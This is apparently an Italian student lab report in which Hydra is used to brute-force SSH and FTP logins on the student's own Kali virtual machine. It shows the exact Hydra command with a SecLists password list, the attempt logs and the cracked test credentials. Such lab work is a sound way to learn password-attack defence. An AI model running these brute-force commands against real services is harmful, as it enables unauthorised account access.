

# Hydra

## **Traccia:**

Si ricordi che la configurazione dei servizi costituisce essa stessa una parte integrante dell'esercizio.

## **L'esercizio di oggi ha un duplice scopo:**

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

## **L'esercizio si svilupperà in due fasi:**

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

# Creazione User e ssh

```
test_user@kali: ~  
File Actions Edit View Help  
- (kali@kali) ~  
$ sudo adduser test_user  
[sudo] password for kali:  
Info: Adding user 'test_user' ...  
Info: Selecting UID/GID from range 1000 to 59999 ...  
Info: Adding new group 'test_user' (1001) ...  
Info: Adding new user 'test_user' (1001) with group 'test_user (1001)' ...  
Info: Creating home directory '/home/test_user' ...  
Info: Copying files from '/etc/skel' ...  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
Full Name []:  
Room Number []:  
Work Phone []:  
Home Phone []:  
Other []:  
Is the information correct? [Y/n] Y  
Info: Adding new user 'test_user' to supplemental / extra groups 'users' ...  
Info: Adding user 'test_user' to group 'users' ...  
- (kali@kali) ~  
$ sudo service ssh start  
- (kali@kali) ~  
$ sudo nano /etc/ssh/sshd_config  
- (kali@kali) ~  
$ sudo service ssh restart  
- (kali@kali) ~  
$ ssh test_user@192.168.1.102  
test_user@192.168.1.102's password:  
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64  
The programs included with the Kali GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/*copyright.  
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
Last login: Fri Nov 8 03:38:50 2024 from 192.168.1.102  
- (test_user@kali) ~  
$  
kali@kali: ~  
File Actions Edit View Help  
- (kali@kali) ~  
$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 192.168.1.102 netmask 255.255.255.0 broadcast 192.168.1.255  
    inet6 fe80::a146:9710:e4c1:cfeb prefixlen 64 scopeid 0<24>  
    ether 08:00:27:1d:25:17 txqueuelen 1000 (Ethernet)  
    RX packets 355025 bytes 311353447 (300.7 MiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 10068 bytes 683896 (667.8 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536  
    inet 127.0.0.1 netmask 255.0.0.0  
    inet6 ::1 prefixlen 128 scopeid 0<1>host  
    loop txqueuelen 1000 (Local loopback)  
    RX packets 3345 bytes 338200 (330.2 KiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 3345 bytes 338200 (330.2 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
- (kali@kali) ~  
$  
kali@kali: ~  
File Actions Edit View Help  
GNU nano 8.1 /etc/ssh/sshd_config *  
# This is the sshd server system-wide configuration file. See  
# sshd_config(5) for more information.  
# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games  
# The strategy used for options in the default sshd_config shipped with  
# OpenSSH is to specify options with their default value where  
# possible, but leave them commented. Uncommented options override the  
# default value.  
Include /etc/ssh/sshd_config.d/*.conf  
#Port 22  
#AddressFamily any  
#ListenAddress 0.0.0.0  
#ListenAddress ::  
#HostKey /etc/ssh/ssh_host_rsa_key  
#HostKey /etc/ssh/ssh_host_ecdsa_key  
#HostKey /etc/ssh/ssh_host_ed25519_key  
# Ciphers and keying  
#RekeyLimit default none  
# Logging  
#SyslogFacility AUTH  
#LogLevel INFO  
# Authentication:  
#LoginGraceTime 2m  
#PermitRootLogin yes  
#StrictModes yes  
#MaxAuthTries 6  
#MaxSessions 10  
#PubkeyAuthentication yes  
^G Help      ^O Write Out  ^F Where Is   ^K Cut        ^J Execute    ^C Location   M-U Undo      M-A Set Mark  
^X Exit      ^R Read File  ^V Replace    ^U Paste      ^_ Justify    ^/ Go To Line  M-E Redo      M-G Copy
```

# Attacco e risultato ssh

```
kali@kali: ~  
File Actions Edit View Help  
$ hydra -l test_user -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt ssh://192.168.1.102 -t  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, o  
non-binding, these ** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-08 08:59:47  
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to  
store  
[DATA] max 64 tasks per 1 server, overall 64 tasks, 1000000 login tries (l:1/p:1000000), ~15625 tries per task  
[DATA] attacking ssh://192.168.1.102:22/  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "123456" - 1 of 1000000 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "password" - 2 of 1000000 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "12345678" - 3 of 1000000 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "qwerty" - 4 of 1000000 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "123456789" - 5 of 1000000 [child 4] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "12345" - 6 of 1000000 [child 5] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "1234" - 7 of 1000000 [child 6] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "111111" - 8 of 1000000 [child 7] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "1234567" - 9 of 1000000 [child 8] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "dragon" - 10 of 1000000 [child 9] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "123123" - 11 of 1000000 [child 10] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "baseball" - 12 of 1000000 [child 11] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "abc123" - 13 of 1000000 [child 12] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "football" - 14 of 1000000 [child 13] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "monkey" - 15 of 1000000 [child 14] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "letmein" - 16 of 1000000 [child 15] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "696969" - 17 of 1000000 [child 16] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "shadow" - 18 of 1000000 [child 17] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "master" - 19 of 1000000 [child 18] (0/0)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "666666" - 20 of 1000000 [child 19] (0/0)
```

```
[RE-ATTEMPT] target 192.168.1.102 - login "test_user" - pass "hhhh" - 5205 of 1000048 [child 60] (0/48)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "toolman" - 5206 of 1000048 [child 8] (0/48)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "thing" - 5207 of 1000048 [child 23] (0/48)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "testpass" - 5208 of 1000048 [child 50] (0/48)  
[22][ssh] host: 192.168.1.102 login: test_user password: testpass  
1 of 1 target successfully completed, 1 valid password found  
[WARNING] Writing restore file because 12 final worker threads did not complete until end.  
[ERROR] 12 targets did not resolve or could not be connected  
[ERROR] 0 target did not complete  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-08 09:38:10  
  
$
```

# Attacco e risultato ftp

```
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "stretch" - 5209 of 1000014 [child 30] (0/14)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "stonecold" - 5210 of 1000014 [child 53] (0/14)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "soulmate" - 5211 of 1000014 [child 37] (0/14)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "sonny" - 5212 of 1000014 [child 48] (0/14)  
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "snuffy" - 5213 of 1000014 [child 58] (0/14)  
[21][ftp] host: 192.168.1.102 login: test_user password: testpass  
1 of 1 target successfully completed, 1 valid password found  
[WARNING] Writing restore file because 14 final worker threads did not complete until end.  
[ERROR] 14 targets did not resolve or could not be connected  
[ERROR] 0 target did not complete  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-08 07:31:43  
  
$
```

# Relazione

L'esercizio di oggi ha lo scopo di mettere in pratica l'uso di Hydra per craccare l'autenticazione dei servizi di rete e approfondire la configurazione di tali servizi.

## **Prima fase dell'esercizio:**

- Ho creato un nuovo utente su Kali, chiamato "test\_user" con la password "testpass".
- Successivamente, su Kali, ho attivato il servizio SSH con il comando `sudo service ssh start`.
- Ho testato la connessione SSH con l'utente test\_user utilizzando il comando `ssh test_user@192.168.1.102`.
- Ho poi utilizzato Hydra per effettuare un attacco di cracking sull'autenticazione SSH. In questa fase, ho impiegato una lista di username e password per eseguire un attacco a dizionario, sfruttando i comandi -L e -P per specificare le wordlist da utilizzare e l'indirizzo IP della macchina Kali. In questo caso, ho usato Seclists, che fornisce una vasta collezione di username e password utili per questo tipo di attacco.

## **Seconda fase dell'esercizio:**

- Ho scelto un altro servizio di rete da configurare, come FTP, e ho testato l'autenticazione con Hydra.
- Per FTP, ho dovuto installare e avviare il servizio vsftpd tramite i comandi forniti nelle slide.

Questo esercizio consente di consolidare le conoscenze e le tecniche di cracking tramite l'uso di Hydra.